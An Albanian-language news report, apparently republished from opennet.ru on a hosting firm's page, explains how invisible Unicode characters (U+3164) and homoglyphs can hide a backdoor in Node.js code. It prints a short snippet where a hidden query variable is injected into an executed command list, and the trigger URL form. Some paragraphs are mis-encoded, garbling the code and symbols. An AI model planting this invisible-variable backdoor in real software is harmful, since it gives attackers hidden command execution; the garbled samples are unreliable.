Përdorimi i simboleve unicode të padukshëm për të fshehur veprimet në kodin JavaScript

Pas metodës së sulmit Trojan Source, e cila bazohet në përdorimin e simboleve Unicode që ndryshojnë renditjen e shfaqjes së tekstit me dy drejtima, është publikuar një teknikë tjetër e futjes së veprimeve të fshehta, e aplikuar për kodin në gjuhën JavaScript. Metoda e re bazohet në përdorimin e simbolit unicode 'ㅀ' (kodi 0x3164, 'HANGUL FILLER'), i cili i përket kategorisë së shkronjave, por nuk ka përmbajtje të dukshme. Kategoria Unicode, në të cilën hyn ky simbol, lejohet që nga specifikimi ECMAScript 2015 për t'u përdorur në emrat e variablave JavaScript, duke ofruar mundësinë për të krijuar variabla të padukshëm ose variabla të rinj, të pandashëm nga variablat e tjerë në redaktorët e njohur të kodit, si Notepad++ dhe VS Code.

Si shembull, jepet kodi pĂ«r platformĂ«n Node.js, ku me ndihmĂ«n e njĂ« variable, e cila pĂ«rbĂ«het nga njĂ« karakter «ㅀ», fshihet njĂ« backdoor, i cili lejon ekzekutimin e kodit tĂ« caktuar nga sulmuesi: app.get('/network_health', async (req, res) => { const { timeout,ă…€} = req.query; // nĂ« tĂ« vĂ«rtetĂ« Ă«shtĂ« e shĂ«nuar si «const { timeout,ă…€ \u3164}» const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ă…€ // pas presjes ndodhet karakteri \u3164 ];

Në pamje të parë, përmes parametrave të jashtëm kalon vetëm vlera e timeout-it, ndërsa arria e komandave të ekzekutueshme përmban një listë fikse të padëmshme. Por në fakt, pas ndryshores timeout, i jepet vlera një ndryshore tjetër të padukshme me kodin e simbolit \u3164, e cila gjithashtu është përfshirë në arrinë e komandave të ekzekutimit. Kështu, me një strukturë të tillë, për aktivizimin e backdoor-it dhe ekzekutimin e kodit të tij, sulmuesi mund të dërgojë një kërkesë të formës «https://host:8080/network_health?=komanda».

Si njĂ« shembull tjetĂ«r, simboli «ǃ» (ALVEOLAR CLICK) mund tĂ« pĂ«rdoret pĂ«r tĂ« krijuar dukshmĂ«rinĂ« e njĂ« shenje tĂ« thirrjes. PĂ«r shembull, shprehja «if(environmentǃ=ENV_PROD){» kur ekzekutohet nĂ« Node.js 14 do tĂ« jetĂ« gjithmonĂ« e vĂ«rtetĂ«, pasi nĂ« tĂ« Ă«shtĂ« njĂ« caktim i ndryshores «environmentǃ» me vlerĂ«n ENV_PROD dhe jo njĂ« kontroll i ndryshimit. NdĂ«r simbolet tepĂ«r tĂ« ngatĂ«rrueshme unicode, po ashtu pĂ«rmenden «», «−», «», «⩔», «❚», «⫝̸», Â«ê“żÂ» dhe «∗».

Burimi: opennet.ru

Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster